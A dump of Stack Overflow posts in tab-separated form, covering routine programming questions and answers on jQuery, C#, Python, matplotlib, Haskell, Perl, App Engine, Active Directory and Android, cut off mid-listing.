38768970	0	 <p>After using the GPU, you should <a href="http://www.mathworks.com/help/distcomp/reset.html" rel="nofollow">reset the gpu</a> with <code>reset</code> which will </p> <pre><code>dev = gpuDevice(gpu_id); % Do lots of stuff reset(dev) </code></pre> <p>Or you could release the device using empty (<code>[]</code>) inputs</p> <pre><code>gpuDevice([]) </code></pre>
3893863	0	JQuery how do I add new divs using .load? <p>This replaces the content in #message_here, each time. How do I get it to keep adding the content, by creating new divs for each message?</p> <pre><code> var last_mess_id = 1; $('#load_mess').click(function(){ $('#messages_here').load('ajax/get_message.php?last_mess_id='+last_mess_id); last_mess_id++; }) </code></pre>
10916308	0	 <p>here is another one :)</p> <pre><code>function flow(elem){ el = $(elem); el.fadeIn('slow').delay(3000).fadeOut('slow', function(){ nextElem = el.is(':last-child') ? el.siblings(':eq(0)') : el.next(); flow(nextElem); }); } $(document).ready(function(){ flow('span:eq(0)') }) </code></pre> <p><a href="http://jsfiddle.net/acrashik/D2VtV/1/" rel="nofollow">Demo at JSFiddle</a></p>
18196196	0	 <p>Not sure if I understand correctly, but it sounds like you're looking for <a href="http://knockoutjs.com/documentation/computedObservables.html" rel="nofollow">Computed Observables</a>:</p> <pre><code>self.AvailableItemTypes = ko.computed(function() { var selectedTypeIds = this.SelectedItemTypes().map(function(el) { return el.Id; }); return this.ItemTypes().filter(function(el) { return selectedTypeIds.indexOf(el.Id) === -1; }); }); </code></pre>
16511578	0	 <p>It's the order of operation. In <code>p = p * 4/3</code> the compiler is doing:</p> <pre><code>p = (p * 4)/3 </code></pre> <p>However in <code>p *= 4/3</code>, the compiler is doing:</p> <pre><code>p = p * (4/3) </code></pre> <p>4/3 is 1 on the computer because of integer division, so the second example is basically multiplying by 1.</p> <p>Instead of dividing by 3 (an integer), divide by 3.0 (a double) or 3.0f (a float). Then p *= 4/3.0 and p = p * 4/3.0 are the same.</p>
9702801	0	 <p>The easiest way to do this is the Linq using</p> <pre><code>var list = new[] { "a", "a", "b", "c", "d", "b" }; var grouped = list .GroupBy(s =&gt; s) .Select(g =&gt; new { Symbol = g.Key, Count = g.Count() }); foreach (var item in grouped) { var symbol = item.Symbol; var count = item.Count; } </code></pre>
7127980	0	 <p>To skip lines that do not match those strings add a check:</p> <pre><code>if any(bool(x) for x in d, HD, HA, M): print ... output.write </code></pre> <p>Try running the script in a debugger:</p> <pre><code>$ python -m pdb your_script.py </code></pre> <p>and see what variables are there and what's wrong. Since PDB is not convenient, you might want to install <a href="http://pypi.python.org/pypi/ipdb" rel="nofollow"><code>ipdb</code></a> or <a href="http://pypi.python.org/pypi/pudb" rel="nofollow"><code>pudb</code></a>.</p>
14708698	0	 <p>Keep it simple, son.</p> <pre><code>declare @date1 datetime declare @date2 datetime select @date1 = GETDATE(); select @date2 = '2013-02-02 14:05' select DATEDIFF(hh, @date2, @date1) Results ----------- 71 (1 row(s) affected) </code></pre>
14127792	0	 <p>This must work for you</p> <pre><code>var resizeEntryHeight=function(){ $('.collectionPostContainer').each(function(){ $(this).css('height',$(this).width()+'px'); }); } $(document).ready(function(){ resizeEntryHeight(); $(window).resize(resizeEntryHeight()); }); </code></pre>
11862172	0	 <p>Use UIDevice Macros - <a href="http://d3signerd.com/tag/uidevice/" rel="nofollow">http://d3signerd.com/tag/uidevice/</a></p> <p>Then you can write code like;</p> <pre><code>if ([DEVICE_TYPE isEqualToString:DEVICE_IPAD]) { } </code></pre> <p>or </p> <pre><code>if (IS_SIMULATOR &amp;&amp; IS_RETINA) { } </code></pre>
13211512	0	Android saving images <p>this application i'm working on is suppose to allow a user to take a photo, depending on whether the GPS is enabled or not, the image should be saved into 2 different folders. However, i can't seem to change the directory.</p> <pre><code> camIntent = new Intent(MediaStore.ACTION_IMAGE_CAPTURE); SimpleDateFormat dateFormat = new SimpleDateFormat("yyyymmddhhmmss"); String date = dateFormat.format(new Date()); photoFile = "Picture_" + date + ".jpg"; fileName = pictureDir.getPath() + File.separator + photoFile; pictureFile = new File(fileName); Uri outputFileUri = Uri.fromFile(pictureFile); camIntent.putExtra(MediaStore.EXTRA_OUTPUT, outputFileUri); startActivityForResult(camIntent, CAPTURE_IMAGE_ACTIVITY_REQUEST_CODE); </code></pre> <p>and in my onActivityResult</p> <pre><code>protected void onActivityResult(int requestCode, int resultCode, Intent data) { if (requestCode == CAPTURE_IMAGE_ACTIVITY_REQUEST_CODE) { if (resultCode == RESULT_OK) { if (GPSValid == 0) { pictureDir = new File(Environment .getExternalStorageDirectory().toString() + File.separator + "cameraDemoValid"); } else if (GPSValid == 1) { pictureDir = new File(Environment .getExternalStorageDirectory().toString() + File.separator + "cameraDemoInvalid"); } fileName = pictureDir.getPath() + File.separator + photoFile; pictureFile = new File(fileName); Uri outputFileUri = Uri.fromFile(pictureFile); camIntent.putExtra(MediaStore.EXTRA_OUTPUT, outputFileUri); </code></pre> <p>However, when i do this, i get a "can't write back - not read at all" error and the image is not saved and if i did include the "camIntent.putExtra(MediaStore.EXTRA_OUTPUT, outputFileUri);" in onActivityResult(), it works. Am i on the right track?</p>
13889052	0	 <p>Use <a href="http://php.net/manual/en/reserved.variables.server.php" rel="nofollow">$_SERVER['DOCUMENT_ROOT']</a> to find the root folder.</p> <pre><code>$dir = $_SERVER['DOCUMENT_ROOT']; // will return /home/vadar/Dropbox/ENELWebsite/public_html/ if(file_exists($dir)){ //just to make sure define('APP_DIR', $dir); //home comp } else{ echo 'No include directory exists'; } </code></pre>
4594046	0	 <p>Where i work we will never use a stringbuild becouse of the designer. We dont want the designer in the codebehind if he has to make a simple change. so keep the markup in the view and codebehind in the codebehind. </p> <p><strong>Edit</strong></p> <p>Other advantage of repeater is the change of cycle is much easier. No need to recompile and perhaps redeploy the tweak the UI, just edit the ASPX template, save and refresh.</p>
14190727	0	 <p>When sharding you spread the data across different shards. The mongos process routes queries to shards it needs to get data from. As such you only need to look at the data a shard is holding. To quote from <a href="http://docs.mongodb.org/manual/core/sharding/#when-to-use-sharding" rel="nofollow">When to Use Sharding</a>:</p> <blockquote> <p>You should consider deploying a sharded cluster, if:</p> <ul> <li>your data set approaches or exceeds the storage capacity of a single node in your system.</li> <li>the size of your system’s active working set will soon exceed the capacity of the maximum amount of RAM for your system.</li> </ul> </blockquote> <p>Also note that the working set != whole collection. The working set is defined as:</p> <blockquote> <p>The collection of data that MongoDB uses regularly. This data is typically (or preferably) held in RAM.</p> </blockquote> <p>E.g. you have 1TB of data but typically only 50GB is used/queried. That subset is preferably held in RAM.</p>
32012857	0	 <p>If <code>"formname"</code> is the value of the name attribute of the form and <code>"name"</code> is the value of the name attribute of the input field (as per your example):</p> <pre><code>if( document.forms["formname"].elements["name"].value == "" ){ // ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ document.getElementById("namef").innerHTML = "Please imput name"; return false; } </code></pre>
29984885	0	 <p>Its better to make use of DRUPAL for your development. </p>
25685544	0	 <p>Try replacing the categories route, as create me be taken as a category</p> <pre><code>Route::get('projects/{cat}', ['as' =&gt; 'projects.category', 'uses' =&gt; 'ProjectsController@category']); Route::get('projects/{cat}', ['as' =&gt; 'projects.category', 'uses' =&gt; 'ProjectsController@category', 'except' =&gt; ['create']]); </code></pre>
22383108	0	Appengine: call endpoints of another module on the same server <p>I am working on an App Engine server which has currently 2 modules. I have the default module used for endpoints and the sync module. This second module is used for syncing my server with another. So my sync module gets data from other servers and has to send it to the default module using endpoints. To do this, I generated endpoints_client_library and added the library to my sync module. I tried a lot of cases but I can't communicate my endpoints properly. Each times I got errors like "401 Unauthorized". </p> <p>So I don't know if it's the right way to use the generated endpoints client library on my server or if there is another solution, maybe simplier...</p> <p>I just want to send data from my sync module to the default.</p> <p>If you need some code, even if it is not very complete and not working at all, just say and I will.</p> <p>The URLFetch code I'm using:</p> <pre><code>AppIdentityService appIdentity = AppIdentityServiceFactory.getAppIdentityService(); AppIdentityService.GetAccessTokenResult accessToken = appIdentity.getAccessToken(Collections.singleton(scope)); URLFetchService fetcher = URLFetchServiceFactory.getURLFetchService(); FetchOptions options = FetchOptions.Builder.doNotFollowRedirects().disallowTruncate(); HTTPRequest request = new HTTPRequest(url, HTTPMethod.GET, options); HTTPHeader userAgent = new HTTPHeader("User-Agent", "AppEngine-Google; (+http://code.google.com/appengine; appid: appId)"); request.addHeader(userAgent); HTTPHeader autho = new HTTPHeader("Authorization", "OAuth "+accessToken.getAccessToken()); request.addHeader(autho); HTTPHeader contentType = new HTTPHeader("Content-Type", "application/json"); request.addHeader(contentType); HTTPResponse response = fetcher.fetch(request); int code = response.getResponseCode(); String resp = new String(response.getContent()); System.out.println(code); System.out.println(resp); </code></pre> <p>And the result: </p> <p>401</p> <pre><code>{ "error": { "errors": [ { "domain": "global", "reason": "required", "message": "{\"class\":\"com.domain.server.cloud.CloudException\",\"code\":2}", "locationType": "header", "location": "Authorization" } ], "code": 401, "message": "{\"class\":\"com.domain.server.cloud.CloudException\",\"code\":2}" } } </code></pre>
11868768	0	 <p>Use a running total.</p> <p>Have a single variable int "calories"</p> <p>Whenever you add a food item add them to calories and display</p> <p>whenever you remove a food item remove them from calories and display</p>
5404906	0	 <p>illegalstate exception means am thinking that <strong>thread</strong> you are using is not correctly handling.. can you post your code..so can find where the exact exception happens</p>
5633371	0	Using a gitosis git repository with XCode 4 <p>Hi I've been trying to access my git repository from XCode 4.</p> <p>Everything works just fine using the command line tools. I can clone my repo using:</p> <pre><code>git clone git@example.com:somerepo.git </code></pre> <p>But in XCode, when trying to use:</p> <pre><code>ssh://git@example.com:somerepo.git </code></pre> <p>It just keeps asking me for a password, which I don't want to use at all.</p> <p>The same thing happens with:</p> <pre><code>git://git@example.com:somerepo.git </code></pre> <p>Except that i also get a "Connection refused: unable to connect to a socket" error message.</p> <p>Any idea how to solve this?</p>
13892367	0	 <p>You can change the log in the y axis with the following:</p> <pre><code>plt.gca().set_yscale('linear') </code></pre> <p>Or press the L key when the figure is in focus.</p> <p>However, your <code>hist()</code> with <code>log=True</code> does not plot a logarithmic x axis. From the <a href="http://matplotlib.org/api/pyplot_api.html#matplotlib.pyplot.hist" rel="nofollow">docs</a>:</p> <blockquote> <p>matplotlib.pyplot.hist(x, bins=10, ...)</p> <p>bins: Either an integer number of bins or a sequence giving the bins. If bins is an integer, bins + 1 bin edges will be returned, consistent with numpy.histogram() for numpy version >= 1.3, and with the new = True argument in earlier versions. <strong>Unequally spaced bins are supported if bins is a sequence.</strong></p> </blockquote> <p>So if you just set <code>bins=10</code> they will be equally spaced, which is why when you set the xscale to log they have decreasing widths. To get equally spaced bins in a log xscale you need something like:</p> <pre><code>plt.hist(x, bins=10**np.linspace(0, 1, 10)) </code></pre>
16860338	0	 <p>I had a similar problem and the solution that I found was to replace the startActivityForResult functionality by storing the result into the shared preferences and loading them later in onResume. Check the full discussion <a href="http://stackoverflow.com/q/16837679/2436683">here</a>.</p>
18134031	0	 <p>Maybe you are confused by the fact, that the class <code>Ordering</code> is declared as <code>Ordering&lt;T&gt;</code>, but the return value of the <code>onResultOf</code> method is <code>Ordering&lt;F&gt;</code>.</p> <p>The first type argument of the <code>Function</code>, you are providing to <code>onResultOf</code> is the type argument of the result.</p> <p>That also means, that <code>Value</code> is not forced to be a subtype of <code>Map.Entry</code>.</p>
19243491	0	 <p>I've been fighting with something like what you show (only one major tick in the axis range). None of the matplotlib tick formatter satisfied me, so I use <code>matplotlib.ticker.FuncFormatter</code> to achieve what I wanted. I haven't tested with twin axes, but my feeling is that it should work anyway.</p> <pre><code>import matplotlib.pyplot as plt from matplotlib import ticker import numpy as np #@Mark: thanks for the suggestion :D mi, ma, conv = 4, 8, 1./3. x = np.linspace(mi, ma, 20) y = 1 / (x ** 4) fig, ax = plt.subplots() ax.plot(x, y) # plot the lines ax.set_xscale('log') #convert to log ax.set_yscale('log') ax.set_xlim([0.2, 1.8]) #large enough, but should show only 1 tick def ticks_format(value, index): """ This function decompose value in base*10^{exp} and return a latex string. If 0&lt;=value&lt;99: return the value as it is. if 0.1&lt;value&lt;0: returns as it is rounded to the first decimal otherwise returns $base*10^{exp}$ I've designed the function to be use with values for which the decomposition returns integers """ exp = np.floor(np.log10(value)) base = value/10**exp if exp == 0 or exp == 1: return '${0:d}$'.format(int(value)) if exp == -1: return '${0:.1f}$'.format(value) else: return '${0:d}\\times10^{{{1:d}}}$'.format(int(base), int(exp)) # here specify which minor ticks per decate you want # likely all of them give you a too crowed axis subs = [1., 3., 6.] # set the minor locators ax.xaxis.set_minor_locator(ticker.LogLocator(subs=subs)) ax.yaxis.set_minor_locator(ticker.LogLocator(subs=subs)) # remove the tick labels for the major ticks: # if not done they will be printed with the custom ones (you don't want it) # plus you want to remove them to avoid font missmatch: the above function # returns latex string, and I don't know how matplotlib does exponents in labels ax.xaxis.set_major_formatter(ticker.NullFormatter()) ax.yaxis.set_major_formatter(ticker.NullFormatter()) # set the desired minor tick labels using the above function ax.xaxis.set_minor_formatter(ticker.FuncFormatter(ticks_format)) ax.yaxis.set_minor_formatter(ticker.FuncFormatter(ticks_format)) </code></pre> <p>The figure that I get is the following <img src="https://i.stack.imgur.com/HfNWP.png" alt="enter image description here">:</p> <p>Of course you can set different minor locators for x and y axis and you can wrap everything from <code>ticks_format</code> to the end into a function that accepts an axes instance <code>ax</code> and <code>subs</code> or <code>subsx</code> and <code>subsy</code> as input parameters.</p> <p>I hope that this helps you</p>
19077984	0	 <p>I have no idea of how windows works, but I'd think that you don't put Magento into <code>C:\Program Files (x86)\PHP\v5.3</code>. So my guess is that the root folder of the virtual host (or whatever equivalent of those on IIS are) is not correctly defined.<br> can you check that?</p> <p>ps: any particular reason you're not using a linux server? I think this is going to give you a lot of troubles down the road.</p>
11701097	0	 <p>In addition to <strong>JapanPro's</strong> answer:<br> Your HTML can have :</p> <pre><code>&lt;meta http-equiv="Content-Type" content="text/html; charset=utf-8" /&gt; </code></pre> <p>instead of an implicit header declaration: </p> <pre><code>HTTP-header (Content-Type: text/html; charset=UTF-8) </code></pre>
21599421	0	 <p>It doesn't matter how you pass the arguments to below,</p> <pre><code>while ((i = getopt_long(argc, argv, "MCFA:acdegphinNorstuVv?wxl", longopts, &amp;lop)) != EOF) switch (i) { ... case 'a': flag_all++; break; case 'n': flag_not |= FLAG_NUM; break; ... </code></pre> <p>Just the cases <code>a</code> &amp; <code>n</code> are enabled which is processed later with the respective flags set. </p>
13207244	0	Programmatically adding UITextField to a dropdownlist <p>I have a tableview controlled by a UITableViewController. In this UITableViewController class I have added a <code>UITextField</code> programmatically to my UINavigationItem by adding these lines to my viewDidLoad method :</p> <pre><code>CGRect passwordTextFieldFrame = CGRectMake(20.0f, 100.0f, 280.0f, 31.0f); UITextField *passwordTextField = [[UITextField alloc] initWithFrame:passwordTextFieldFrame]; passwordTextField.placeholder = @"Password"; passwordTextField.backgroundColor = [UIColor whiteColor]; passwordTextField.textColor = [UIColor blackColor]; passwordTextField.font = [UIFont systemFontOfSize:14.0f]; passwordTextField.borderStyle = UITextBorderStyleRoundedRect; passwordTextField.clearButtonMode = UITextFieldViewModeWhileEditing; passwordTextField.returnKeyType = UIReturnKeyDone; passwordTextField.contentVerticalAlignment = UIControlContentVerticalAlignmentCenter; passwordTextField.tag = 2; passwordTextField.autocapitalizationType = UITextAutocapitalizationTypeNone; passwordTextField.delegate = self; // ADD THIS LINE self.navigationItem.rightBarButtonItem = [[UIBarButtonItem alloc] initWithCustomView:passwordTextField]; </code></pre> <p>The <code>UITextField</code> is displayed correctly on my navigationbar but when I click it the textFieldDidBeginEditing never fires.</p> <p>I have added the to my header file along with the textFieldDidBeginEditing method.</p> <p>I tried doing the exact same thing in a view controlled by UIViewController and here the textFieldDidBeginEditing gets fired when I click the "textfield" - So I suspect the fact that I am adding the textfield to a UITableViewController is what's causing trouble.</p> <p>You might think - why didn't you add a "uinavigationbutton" to the "NavigationBar" instead - but I can't as the uidropdownmenu that I want to call when the button is being clicked only accepts a "UITextField".</p>
24953980	0	Default Concurrency strategy for Query Cache in Hibernate using ECache <p>I was wondering about the default concurrency strategy for the Query level caching in Hibernate if we do not provide it explicitly. I have gone through the link <a href="https://docs.jboss.org/hibernate/orm/4.0/manual/en-US/html/performance.html#performance-cache" rel="nofollow">https://docs.jboss.org/hibernate/orm/4.0/manual/en-US/html/performance.html#performance-cache</a> but unable to find the exact solution. Any help? Thanks.</p>
29945339	0	 <p>You cannot find socat libraries because there are none. socat is implemented as a monolithic executable (it does link to the standard system libraries though). You can download <a href="http://www.dest-unreach.org/socat/" rel="nofollow">socat</a> sources and copy-paste required functionality.</p>
18390045	0	 <p>You can do this using <code>hoist</code> from the <code>mmorph</code> package. <code>hoist</code> lets you modify the base monad of anything that implements <code>MFunctor</code> (which is most monad transformers):</p> <pre><code>hoist :: (MFunctor t) =&gt; (forall x . m x -&gt; n x) -&gt; t m r -&gt; t n r </code></pre> <p>You can then use it for your problem like this:</p> <pre><code>co' tma ma = hoist (co ma) tma </code></pre> <p>Then you're done!</p> <p>To understand why that works, let's go through the types step by step:</p> <pre><code>co :: (Monad m) =&gt; m a -&gt; m a -&gt; m a ma :: (Monad m) =&gt; m a co ma :: (Monad m) =&gt; m a -&gt; m a hoist (co ma) :: (Monad m, MFunctor t) =&gt; t m a -&gt; t m a tma :: (Monad m, MFunctor t) =&gt; t m a hoist (co ma) tma :: (Monad m, MFunctor t) =&gt; t m a </code></pre> <p>Note that <code>hoist</code> has certain laws it must satisfy that ensure that it does "the right thing" that you would expect:</p> <pre><code>hoist id = id hoist (f . g) = hoist f . hoist g </code></pre> <p>These are just functor laws, guaranteeing that <code>hoist</code> behaves intuitively.</p> <p><code>hoist</code> is provided in the <code>Control.Monad.Morph</code> module of the <code>mmorph</code> package, which you can find <a href="http://hackage.haskell.org/package/mmorph" rel="nofollow">here</a>. The bottom of the main module has <a href="http://hackage.haskell.org/packages/archive/mmorph/1.0.0/doc/html/Control-Monad-Morph.html#g:3" rel="nofollow">a tutorial</a> teaching how to use the package</p>
18594451	0	ActiveDirectory DirectorySearcher: why is FindOne() slower than FindAll() and why are properties omitted? <p>I have a loop that retrieves some info from ActiveDirectory. It turned out to be a big performance bottleneck.</p> <p>This snippet (inside a loop that executed it 31 times) took 00:01:14.6562500 (1 minute and 14 seconds):</p> <pre><code>SearchResult data = searcher.FindOne(); System.Diagnostics.Trace.WriteLine(PropsDump(data)); </code></pre> <p>Replacing it with this snippet brought it down to 00:00:03.1093750 (3 secconds):</p> <pre><code>searcher.SizeLimit = 1; SearchResultCollection coll = searcher.FindAll(); foreach (SearchResult data in coll) { System.Diagnostics.Trace.WriteLine(PropsDump(data)); } </code></pre> <p>The results are exactly identical, the same properties are returned in the same order. I found some info on memory leaks in <a href="http://stackoverflow.com/questions/1135013/is-directorysearcher-sizelimit-1-for-findall-equal-to-findone-directoryse">another thread</a>, but they did not mention performance (I'm on .Net 3.5).</p> <hr> <p>The following is actually a different question but it gives some background on why I'm looping in the first place:</p> <p>I wanted to get all the properties in one single query, but I cannot get the DirectorySearcher to return all the wanted properties in one go (it omits about 30% of the properties specified in PropertiesToLoad (also tried setting it in the constructor wich makes no difference), I found someone else had the same problem and <a href="http://forums.asp.net/t/1822574.aspx/1" rel="nofollow">this is his solution (to loop through them)</a>. When I loop through them like this, either using FindOne() or FindAll() I do get all the properties, But actually it all feels like a workaround.</p> <p>Am I missing something?</p> <hr> <p>Edit:</p> <p>Seems like the problem was with the way I got the first DirectoryEntry on which I was using the DirectorySearcher.</p> <p>This was the code that caused the DirectorySearcher only to return some of the properties:</p> <pre><code>private static DirectoryEntry GetEntry() { DirectoryContext dc = new DirectoryContext(DirectoryContextType.DirectoryServer, "SERVERNAME", "USERNAME", "PASSWORD"); Forest forest = Forest.GetForest(dc); DirectorySearcher searcher = forest.GlobalCatalogs[0].GetDirectorySearcher(); searcher.Filter = "OU=MyUnit"; searcher.CacheResults = true; SearchResultCollection coll = searcher.FindAll(); foreach (SearchResult m in coll) { return m.GetDirectoryEntry(); } throw new Exception("DirectoryEntry not found"); } </code></pre> <p>After replacing that big mouthfull with just this line, the DirectorySearcher returned all the properties and looping was no longer needed:</p> <pre><code>private static DirectoryEntry GetEntry2() { return new DirectoryEntry(@"LDAP://SERVERNAME/OU=MyUnit,DC=SERVERNAME,DC=local", "USERNAME", "PASSWORD"); } </code></pre> <p>Now it takes less than one 18th of a second to get all wanted properties of 31 entries. So, it seems that two different instances of the same DirectoryEntry can give different results depending on the way it was constructed... feels a bit creepy!</p> <hr> <p>Edit</p> <p>Used <a href="http://www.jetbrains.com/decompiler/" rel="nofollow">JetBrains DotPeek</a> to look at the implementation. The FindOne function starts like this:</p> <pre><code>public SearchResult FindOne() { SearchResult searchResult1 = (SearchResult) null; SearchResultCollection all = this.FindAll(false); ... </code></pre> <p>My first reaction was Argh! no wonder... but then I noticed the argument. FindAll has a private version that accepts a boolean, this is the start of FindAll:</p> <pre><code>[TargetedPatchingOptOut("Performance critical to inline this type of method across NGen image boundaries")] public SearchResultCollection FindAll() { return this.FindAll(true); } private SearchResultCollection FindAll(bool findMoreThanOne) { ... // other code this.SetSearchPreferences(adsSearch, findMoreThanOne); </code></pre> <p>So this gives slightly more insight, but does not really explain much.</p>
13427097	0	 <p>Give your text box a id for example "txtInput" give your iframe a id for example "myIframe" on the button give it no navigation so it stays on current page and use the onclick="myFunction()"</p> <p>in the function you can use this (excuse me if this is slightly wrong its been a while since I have used HTML</p> <pre><code> function myFunction() { var iframe = document.getElementById("myIframe"); var input = document.getElementById("txtInput").text; //check to see if there is a valid url in the text box be carefull if there are multiple links in the text box it will put them all in and the iframe will go to 127.0.0.1 or search engine due to incorrect URL var isURL=new RegExp(/(((f|ht)(tp|tps):\/\/)[\w\d\S]+)/,g); iframe.src = input.match(isURL); } </code></pre> <p>If you do not want to mess with regular expresions you can just simply use the following.</p> <pre><code>function myFunction() { var iframe = document.getElementById("myIframe"); var input = document.getElementById("txtInput").text; iframe.src = isURL; } </code></pre>
38546526	0	 <p>Try this... In Eclipse, go to the Servers menu and right click 'New.' In the 'New Server' window find the 'Configure runtime environments' link (<a href="http://i.stack.imgur.com/Cvkmd.jpg" rel="nofollow">See Pic 1</a>) and once there you then click the server that needs the updated JRE upgrade and then Click 'Edit'. In the Edit Server Runtime Environment Window there should be a Java home textfield where you can put the jdk that you upgraded to. (<a href="http://i.stack.imgur.com/51I8r.jpg" rel="nofollow">See Pic 2</a>)</p> <p>NOTE: This was done in Eclipse Kepler in the time of this writing. Should work in later versions as well.</p>
20431810	0	Exit status of child spawned in a pipe <p>Simple question but I cannot find a good answer - here goes with an example:</p> <p>"world.pl" spawns "hello.pl" in a child and processes its stdout. "world.pl" needs to know the exit status of "hello.pl". Making a system call is not an option, since "world.pl" needs to process the stdout of "hello.pl". I am also trying to avoid fork(). Question: How can "world.pl" find the exit status of "hello.pl"? Using perl v5.12.4 on Darwin, if it matters. Thanks in advance, - M.</p> <pre><code>#!/opt/local/bin/perl -w ## hello.pl &lt;name&gt; [more names] exit 1 if ($#ARGV &lt; 0); foreach (@ARGV) { print "Hello, $_\n" } exit 0; </code></pre> <p>The other part ...</p> <pre><code>#!/opt/local/bin/perl -w ## world.pl name [more names ...] open (FP, "./hello.pl @ARGV |") or die "$0: Cannot open pipe: $!\n"; while (&lt;FP&gt;) { print } close FP; my $status = 0; # Want this to be exit status of the process "hello.pl" exit $status; </code></pre>
40858469	0	 <p>As per you are not using AsyncTask, you can't get the opportunity of onProgressUpdate feature. So, you have to update your progress bar status manually like using own thread and you have already do. But, I solved my problem using below source code, you can check it: </p> <pre><code> private void createThread(){ Runnable runable = new updateProgressStatus(); progressUpdateThread = new Thread(runnable); progressUpdateThread.start(); } public class updateProgressStatus implements Runnable { public void run() { while(Thread.currentThread()==progressUpdateThread) try { Thread.sleep(1000); progressHandler.sendMessage(YOUR MESSAGE ); } catch (InterruptedException e) { // Interrupt problem Thread.currentThread().interrupt(); } catch (Exception e) { e.printStackTrace(); } } } private Handler progressHandler = new Handler(){ @Override public void handleMessage(Message message) { // Now, update your progress bar status progress.setProgress(message.what); } }; </code></pre>
21829967	0	 <p>Instead of opening the Google Glass camera app, you could take the picture yourself: <a href="http://developer.android.com/training/camera/cameradirect.html" rel="nofollow">http://developer.android.com/training/camera/cameradirect.html</a></p> <p>This is even mentioned in the GDK reference:</p> <blockquote> <p>Building your own logic with the Android Camera API. Follow these guidelines if you are using this method:</p> <ul> <li>Take a picture on a camera button click and a video on a long click, just like Glass does.</li> <li>Indicate to the user whether a picture was taken or a video was recorded.</li> <li>Keep the screen on during capture.</li> </ul> </blockquote>
8576109	0	 <p>That's impossible to tell, since it depends on the actual runtime environment. A JIT, AOT or Hotspot compiler may very well optimize away the potential method overhead.</p>
11655044	0	Lazy list items are not clicking per item only per row <p>I have been breaking my head trying to get this working but I can't to save my life, I was hoping one of you guys knew how to do it. Basically, I have a list of nature pictures that are loading in a lazy ListView, but my problem is that I can only make the row clickable. I need to make the the individual images clickable. Everything else works like a charm, I really appreciate the help.</p> <p>Activity:</p> <pre><code>public class AmainActivityNature extends Activity { ListView list; LazyAdapter adapter; @Override public void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); requestWindowFeature(Window.FEATURE_NO_TITLE); setContentView(R.layout.main); list=(ListView)findViewById(R.id.list); adapter=new LazyAdapter(this, mStrings, mphotos); list.setAdapter(adapter); Button bLeft = (Button) findViewById(R.id.buttonLeft); bLeft.setOnClickListener(new View.OnClickListener() { public void onClick(View v) { Intent mainIntentOne = new Intent(AmainActivityNature.this, AmainActivityNature.class); AmainActivityNature.this.startActivity(mainIntentOne); /* Finish splash activity so user cant go back to it. */ AmainActivityNature.this.finish(); /* Apply our splash exit (fade out) and main entry (fade in) animation transitions. */ overridePendingTransition(R.anim.animation_enterl, R.anim.animation_leaver); } }); Button bRight = (Button) findViewById(R.id.buttonRight); bRight.setOnClickListener(new View.OnClickListener() { public void onClick(View v) { startActivity(new Intent("com.testing.image.AMAINACTIVITYNATURE")); finish(); } }); list.setOnItemClickListener(new OnItemClickListener(){ @Override public void onItemClick(AdapterView&lt;?&gt; arg0, View arg1, int arg2, long arg3) { switch (arg2) { case 0: Intent newActivity0 = new Intent(AmainActivityNature.this,NatureTwoOne.class); startActivity(newActivity0); break; case 1: Intent newActivity1 = new Intent(AmainActivityNature.this,NatureTwoTwo.class); startActivity(newActivity1); break; case 2: Intent newActivity2 = new Intent(AmainActivityNature.this,NatureTwoThree.class); startActivity(newActivity2); break; case 3: Intent newActivity3 = new Intent(AmainActivityNature.this,NatureTwoFour.class); startActivity(newActivity3); break; case 4: Intent newActivity4 = new Intent(AmainActivityNature.this,NatureTwoFive.class); startActivity(newActivity4); break; case 5: Intent newActivity5 = new Intent(AmainActivityNature.this,NatureTwoSix.class); startActivity(newActivity5); break; case 6: Intent newActivity6 = new Intent(AmainActivityNature.this,NatureTwoSeven.class); startActivity(newActivity6); break; case 7: Intent newActivity7 = new Intent(AmainActivityNature.this,NatureTwoEight.class); startActivity(newActivity7); break; case 8: Intent newActivity8 = new Intent(AmainActivityNature.this,NatureTwoNine.class); startActivity(newActivity8); break; case 9: Intent newActivity9 = new Intent(AmainActivityNature.this,NatureTwoTen.class); startActivity(newActivity9); break; case 10: Intent newActivity10 = new Intent(AmainActivityNature.this,NatureTwoEleven.class); startActivity(newActivity10); break; case 11: Intent newActivity11 = new Intent(AmainActivityNature.this,NatureTwoTwoelve.class); startActivity(newActivity11); break; case 12: Intent newActivity12 = new Intent(AmainActivityNature.this,NatureTwoThirteen.class); startActivity(newActivity12); break; case 13: Intent newActivity13 = new Intent(AmainActivityNature.this,NatureTwoFourteen.class); startActivity(newActivity13); break; case 14: Intent newActivity14 = new Intent(AmainActivityNature.this,NatureTwoFifteen.class); startActivity(newActivity14); break; case 15: Intent newActivity15 = new Intent(AmainActivityNature.this,NatureTwoSixteen.class); startActivity(newActivity15); break; case 16: Intent newActivity16 = new Intent(AmainActivityNature.this,NatureTwoSeventeen.class); startActivity(newActivity16); break; case 17: Intent newActivity17 = new Intent(AmainActivityNature.this,NatureTwoEighteen.class); startActivity(newActivity17); break; case 18: Intent newActivity18 = new Intent(AmainActivityNature.this,NatureTwoNineteen.class); startActivity(newActivity18); break; case 19: Intent newActivity19 = new Intent(AmainActivityNature.this,NatureTwoTwoenty.class); startActivity(newActivity19); break; case 20: Intent newActivity20 = new Intent(AmainActivityNature.this,NatureTwoTwoentyone.class); startActivity(newActivity20); break; case 21: Intent newActivity21 = new Intent(AmainActivityNature.this,NatureTwoTwoentytwo.class); startActivity(newActivity21); break; case 22: Intent newActivity22 = new Intent(AmainActivityNature.this,NatureTwoTwoentythree.class); startActivity(newActivity22); break; case 23: Intent newActivity23 = new Intent(AmainActivityNature.this,NatureTwoTwoentyfour.class); startActivity(newActivity23); break; case 24: Intent newActivity24 = new Intent(AmainActivityNature.this,NatureTwoTwoentyfive.class); startActivity(newActivity24); break; default: // Nothing do! } } }); Button b=(Button)findViewById(R.id.button1); b.setOnClickListener(listener); } @Override public void onDestroy() { list.setAdapter(null); super.onDestroy(); } public OnClickListener listener=new OnClickListener(){ @Override public void onClick(View arg0) { adapter.imageLoader.clearCache(); adapter.notifyDataSetChanged(); } }; private String[] mphotos={ "http:testingsite.com/naturemain/2.jpg", "http:testingsite.com/naturemain/4.jpg", "http:testingsite.com/naturemain/6.jpg", "http:testingsite.com/naturemain/8.jpg", "http:testingsite.com/naturemain/10.jpg", "http:testingsite.com/naturemain/12.jpg", "http:testingsite.com/naturemain/14.jpg", "http:testingsite.com/naturemain/16.jpg", "http:testingsite.com/naturemain/18.jpg", "http:testingsite.com/naturemain/20.jpg", "http:testingsite.com/naturemain/22.jpg", 